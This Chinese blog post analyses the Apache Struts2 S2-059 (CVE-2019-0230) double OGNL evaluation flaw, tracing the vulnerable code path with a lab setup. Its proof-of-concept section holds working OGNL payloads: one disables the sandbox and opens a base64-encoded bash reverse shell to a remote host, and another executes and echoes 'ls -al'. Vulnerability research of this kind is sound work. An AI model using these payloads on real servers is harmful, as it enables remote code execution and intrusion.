CVE-2019-0230 | Struts2-059 远程代码执行漏洞

CVE-2019-0230 | Struts2-059 远程代码执行漏洞

2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。

影响版本:

Apache Struts2:2.0.0-2.5.20

利用条件

漏洞利用前置条件是需要特定标签的相关属性存在表达式%{payload},且payload可控并未做安全验证。这里用到的是a标签id属性。id属性是该action的应用id。受影响的标签有很多, 继承AbstractUITag类的标签都会受到影响,受影响的属性只有id

环境搭建

git clone https://github.com/vulhub/vulhub
cd vulhub/struts2/s2-059
docker-compose up

Struct2的Maven源码下载地址:传送门

环境启动后,访问查看首页http://host:8080/index.action

image-20220408180804871

POC

import requests
url = "http://127.0.0.1:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS82NjY2IDA+JjE9}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)

image-20220408192343715

OGNL表达式简述

#符号

  1. 访问非根对象属性,例如示例中的#session.msg表达式,由于Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀。实际上,#相当于ActionContext. getContext();#session.msg表达式相当于ActionContext.getContext().getSession(). getAttribute("msg") 。

  2. 构造 Map。如 #{key1:value1,key2:value2},这种方式常用于给 radio 或 select、checkbox 等标签赋值。

  3. 如果要在页面中取一个 Map 的值可以如下书写:

    container=#context['com.opensymphony.xwork2.ActionContext.container']就是获取context对象中key为'com.opensymphony.xwork2.ActionContext.container'的键值

%符号

%用途是在标签的属性值被理解为字符串类型时,告诉执行环境‘%{}’中的是 OGNL 表达式,并计算 OGNL 表达式的值。

struts2_S2_059S2_029漏洞产生的原理类似,都是由于标签属性值进行二次表达式解析产生的。

漏洞分析

漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

一次解析

我们从org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag开始打断点

image-20220408123543350

this.populateParams()进行赋值,所以我们跟进populateParams(),进行初始参数值的填充。

但是在这里有点奇怪的是在Struts 2.2和2.3中都是执行this.populateParams但是在2.1中就是执行populateParams()并且当前类是有一个空的populateParams函数

image-20220408123842502

但是实际上并没有执行到这个函数而是执行了org.apache.struts2.views.jsp.ui.TextFieldTag#populateParams

image-20220408123928944

接着调用了调用了父类org.apache.struts2.views.jsp.ui.AbstractUITag#populateParams的populateParams()方法

    protected void populateParams() {
        super.populateParams();

        UIBean uiBean = (UIBean) component;
        uiBean.setCssClass(cssClass);
        uiBean.setCssStyle(cssStyle);
        uiBean.setCssErrorClass(cssErrorClass);
        uiBean.setCssErrorStyle(cssErrorStyle);
        uiBean.setTitle(title);
        uiBean.setDisabled(disabled);
        uiBean.setLabel(label);
        uiBean.setLabelSeparator(labelSeparator);
        uiBean.setLabelposition(labelposition);
        uiBean.setRequiredPosition(requiredPosition);
        uiBean.setErrorPosition(errorPosition);
        uiBean.setName(name);
        uiBean.setRequiredLabel(requiredLabel);
        uiBean.setTabindex(tabindex);
        uiBean.setValue(value);
        uiBean.setTemplate(template);
        uiBean.setTheme(theme);
        uiBean.setTemplateDir(templateDir);
        uiBean.setOnclick(onclick);
        uiBean.setOndblclick(ondblclick);
        uiBean.setOnmousedown(onmousedown);
        uiBean.setOnmouseup(onmouseup);
        uiBean.setOnmouseover(onmouseover);
        uiBean.setOnmousemove(onmousemove);
        uiBean.setOnmouseout(onmouseout);
        uiBean.setOnfocus(onfocus);
        uiBean.setOnblur(onblur);
        uiBean.setOnkeypress(onkeypress);
        uiBean.setOnkeydown(onkeydown);
        uiBean.setOnkeyup(onkeyup);
        uiBean.setOnselect(onselect);
        uiBean.setOnchange(onchange);
        uiBean.setTooltip(tooltip);
        uiBean.setTooltipConfig(tooltipConfig);
        uiBean.setJavascriptTooltip(javascriptTooltip);
        uiBean.setTooltipCssClass(tooltipCssClass);
        uiBean.setTooltipDelay(tooltipDelay);
        uiBean.setTooltipIconPath(tooltipIconPath);
        uiBean.setAccesskey(accesskey);
        uiBean.setKey(key);
        uiBean.setId(id);

        uiBean.setDynamicAttributes(dynamicAttributes);
    }

org.apache.struts2.views.jsp.ui.AnchorTag.class中存储着所有的标签对象。

继承AbstractUITag类的标签都会受到影响。当这些标签存在id属性时,会调用父类org.apache.struts2.views.jsp.ui.AbstractUITag.populateParams()方法,触发setId()方法时会解析一次OGNL表达式。

为什么必须是id标签?

跟进其他属性到org.apache.struts2.components.UIBean.class发现AbstractUITag.class所有的属性除了id都是直接赋值。所以就不会进行下面触发第一次OGNL解析的函数代码,而这个漏洞需要进行二次解析才会出现。

image-20220408124543181

org.apache.struts2.components.UIBean#setId

@StrutsTagAttribute(description="HTML id attribute")
public void setId(String id) {
    if (id != null) {
        this.id = findString(id);
    }
}

这是其他属性的org.apache.struts2.components.UIBean#setXX函数:

@StrutsTagAttribute(description="Set the tooltip of this particular component")
public void setTooltip(String tooltip) {
    this.tooltip = tooltip;
}

@StrutsTagAttribute(description="Deprecated. Use individual tooltip configuration attributes instead.")
public void setTooltipConfig(String tooltipConfig) {
    this.tooltipConfig = tooltipConfig;
}

@StrutsTagAttribute(description="Set the key (name, value, label) for this particular component")
public void setKey(String key) {
    this.key = key;
}

跟进setId()方法,会有一个findString()方法,这里也就解释了为什么是id属性进行解析了。

org.apache.struts2.components.UIBean#setId
    @StrutsTagAttribute(description="HTML id attribute")
    public void setId(String id) {
        if (id != null) {
            this.id = findString(id);
        }
    }

如果id不为空,那么给id赋值用户传入的值。接着跟入findString()

org.apache.struts2.components.Component#findString(java.lang.String)
    protected String findString(String expr) {
        return (String) findValue(expr, String.class);
    }

继续跟进findValue(expr, String.class)查看赋值过程

org.apache.struts2.components.Component#findValue(java.lang.String, java.lang.Class)
        protected Object findValue(String expr, Class toType) {
        if (altSyntax() && toType == String.class) {
            if (ComponentUtils.containsExpression(expr)) {
                return TextParseUtil.translateVariables('%', expr, stack);
            } else {
                return expr;
            }
        } else {
            expr = stripExpressionIfAltSyntax(expr);

            return getStack().findValue(expr, toType, throwExceptionOnELFailure);
        }
    }

如果altSyntax功能开启(此功能在S2-001的修复方案是将其默认关闭),altSyntax这个功能是将标签内的内容当作OGNL表达式解析,关闭了之后标签内的内容就不会当作OGNL表达式解析了。执行到TextParseUtil.translateVariables('%', expr, this.stack),然后在下面执行OGNL的表达式的解析,返回传入action的参数%{1+4},这里进行了一次表达式的解析。也就是对属性的初始化赋值操作。

translateVariables()函数传过来的open参数的值是'%',在截取的时候是截取的 open之后的字符串,并把传入stack.OgnlValueStack,这也是我们的poc构造的时候要写成%{*}形式的原因。

image-20220408151611395

跟到com.opensymphony.xwork2.util.TextParseUtil#translateVariables(char, java.lang.String, com.opensymphony.xwork2.util.ValueStack)方法。

image-20220408151629072

image-20220408152045912

translateVariables()方法while循环里加了一个maxLoopCount参数来限制递归解析的次数,break跳出循环(这是对S2-001的修复方案)。这里的maxLoopCount为1。

com.opensymphony.xwork2.util.TextParser接口

image-20220408152427755

继续跟进下一个translateVariables函数

image-20220408153250356

跟进translateVariables的evaluate函数parser所属类com.opensymphony.xwork2.util.OgnlTextParser也只有这一个函数。

com.opensymphony.xwork2.util.OgnlTextParser#evaluate

image-20220408181804136

首先有一个大的while循环, 包裹着这个if结构,想要退出这个while循环只有两个点:

  1. loopCount > maxLoopCount

    其实就是通过maxLoopCount限定循环次数,达到循环次数就结束, 上面提到默认为1

  2. 不满足(start != -1) && (end != -1) && (count == 0)

    start是第一个%出现的下标 end是倒数第二个字符下标 cont就是字符串中出现的对数

最终在这里完成第一次赋值。

这里只进行了一次表达式的解析,返回给action传入的参数是%{1+4},并未解析成功表达式。

至于更详细的表达式解析代码的地点我是没调出来, 网上的文章大多也基本是找到这一步就结束了,后面的怎么回事我就不懂了, 因为我继续往下跟了两三层都没找到, 也不是很了解这些模块所以跟到这里就不继续下去了, 给一下从populateParams()到出现OGNL的相关类出现的调用链

image-20220408165250467

image-20220408174642200

到了最后这个findValue函数:com.opensymphony.xwork2.ognl.OgnlValueStack#findValue(java.lang.String, java.lang.Class, boolean)可以看到已经是一个OGNL类了, 但是后面更详细的就不懂在哪里找了,但是问题不大,就当个小坑吧。

二次解析

找到执行第一次进行OGNL解析的地方之后我们回到org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag

image-20220408162715483

通过populateParams();调用上面一系列函数代码后执行component.start(pageContext.getOut())在这里会发生标签属性值的二次表达式解析

org.apache.struts2.components.ClosingUIBean#start

image-20220408160239517

org.apache.struts2.components.UIBean#evaluateParams代码

image-20220408184136543

image-20220408184200994

跟进populateComponentHtmlId(form);

image-20220408161107695

org.apache.struts2.components.UIBean#populateComponentHtmlId

image-20220408160826863

继续跟进findStringIfAltSyntax(id);

org.apache.struts2.components.Component#findStringIfAltSyntax

image-20220408161237966

为什么要开启altSyntax功能?

可以看到这里对id属性再次进行了表达式的解析, 但是需要注意的是在这里对id的二次解析必须是在开启了altSyntax功能的前提下才会通过if判断。

跟进findString(expr)

org.apache.struts2.components.Component#findString(java.lang.String)

image-20220408161325452

进入到findString()后,就跟前面流程一样了。这也是解释了这次漏洞是由于标签属性值进行二次表达式解析产生的。

image-20220408162431647

又回到这里了, 直接当evaluate()函数进行了OGNL解析就行。所以到这里就执行了二次解析进而造成代码执行。

总结比较

如果表达式中的值可控,那么就有可能传入危险的表达式实现远程代码执行,但是这个漏洞利用前提条件是altSyntax功能开启且需要特定标签id属性(暂未找到其他可行属性)存在表达式%{payload}payload可控且不需要进行框架的安全校验。利用条件较为苛刻,需要结合应用程序的代码实现,所以无法进行大规模的利用。

此次S2-059与之前的S2-029S2-036类似都是OGNL表达式的二次解析而产生的漏洞,用S2-029的poc打不了S2-059搭建的环境。

S2-029的区别:S2-029是标签的name属性出现了问题,由于name属性调用了org.apache.struts2.components.Component.classcompleteExpressionIfAltSyntax()方法,会自动加上"%{}"这也就解释了S2-029payload不用加%{}的原因。

protected String completeExpressionIfAltSyntax(String expr) {
    return this.altSyntax() ? "%{" + expr + "}" : expr;
}

关于受影响标签:

继承AbstractUITag类的标签都会受到影响。当这些标签存在id属性时,会调用父类AbstractUITag.populateParams()方法,触发setId()解析一次OGNL表达式。比如label标签(同样输入表达式%{1+4})。

image-20200902203922230

这里可以看到LabelTag.class继承了AbstractUITag.class

image-20200902210627793

关于版本问题:

不同的版本对于沙盒的绕过不同,所用的到的poc绕过也就有出入,再高版本2.5.16之后的沙盒目前没有公开绕过方法。稍低版本Struts 2.2.1与稍高版本Struts 2.3.24,均可以控制输入值。

image-20200903112402259

关于回显的示例解析(直接当payload是无效的):

%{#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()}

OgnlContext_memberAccess变量进行了访问控制限制,决定了用哪些类,哪些包,哪些方法可以被OGNL表达式所使用。

所以其中poc中需要设置

#_memberAccess.allowPrivateAccess=true用来授权访问private方法,#_memberAccess.allowStaticMethodAccess=true用来授权允许调用静态方法,

#_memberAccess.excludedClasses=#_memberAccess.acceptProperties用来将受限的类名设置为空

#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties用来将受限的包名设置为空

#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter()返回HttpServletResponse实例获取respons对象并回显。

#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()执行系统命令,

使用java.util.Scanner一个文本扫描器,执行命令ls -al,将目录下的内容回显出来。

至于为什么加%{},在之前的分析中已经提及。

再埋个S2-061的坑:

S2-061和S2-059的OGNL表达执行触发方式一样。S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,而S2-061再次绕过了S2-059的沙盒。

参考文章:

https://paper.seebug.org/1331/#_2

http://blog.topsec.com.cn/struts2-s2-059-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇